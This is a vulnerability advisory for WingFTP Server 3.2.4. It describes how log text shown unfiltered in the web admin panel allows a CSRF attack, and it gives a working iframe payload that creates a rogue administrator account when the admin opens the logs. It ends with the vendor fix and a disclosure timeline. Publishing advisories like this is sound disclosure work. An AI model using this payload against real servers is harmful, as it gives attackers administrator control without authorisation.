Application: WingFTP Server 3.2.4 (maybe earlier versions too) Link: http://www.wftpserver.com/ Vulnerability: CSRF Author: Ams Contact: mail: ax330d [at] gmail [dot] com site: http://www.0x416d73.name/ 1. About software "Wing FTP server is not only a FTP server. It's a multi-protocol file server(FTP, HTTP, FTPS, HTTPS, SFTP) for Windows, Linux, Mac, freeBSD and Solaris. It includes a new set of advanced tools (web based remote control, web based client, administrator console, task scheduler). It provides event manager for the program to respond to different events, scripts support let users extend the server by Lua language, virtual directories for easy sharing files and directories, and more ... " 2. Vulnerability details Wing FTP server web based administration panel provides option to view logs. We can watch logs by opening [Domains -> your.domain -> Logs & Status -> Domain Log (or Activity)] These logs are opened directly from file to ajax'ed tag <div>. So, everything that we send to ftp-server appears on the screen of browser. Without any filtering. That's why we are capable of exploiting this bug. 3. Proof of concept Actually, via this CRSF we can do all things administrator can do from his control panel. The following exploit creates new administrator. To show the work of exploit you have to do the following: 1. Connect to remote ftp server 2. Send this string: <iframe src='http://127.0.0.1:5466/admin_addadmin.html?admin={"username":"Ams","password":"pwnpwnpwn","oldpassword":"","readonly":0,"ipmasks":[]}' width='0' height='0' border='0'></iframe> 3. When administrator logins and opens log new administrator is created 4. Login as admin 'Ams' and password 'pwnpwnpwn' (if you have not changed them) 4. Vendor response Wing FTP Server team has fixed bugs and released new version - Wing FTP Server 3.2.8. 5. Disclosure timeline 25/12/2009 - Vendor informed 26/12/2009 - Received response 30/12/2010 - Bug fixed by vendor 31/12/2010 - Public release of advisory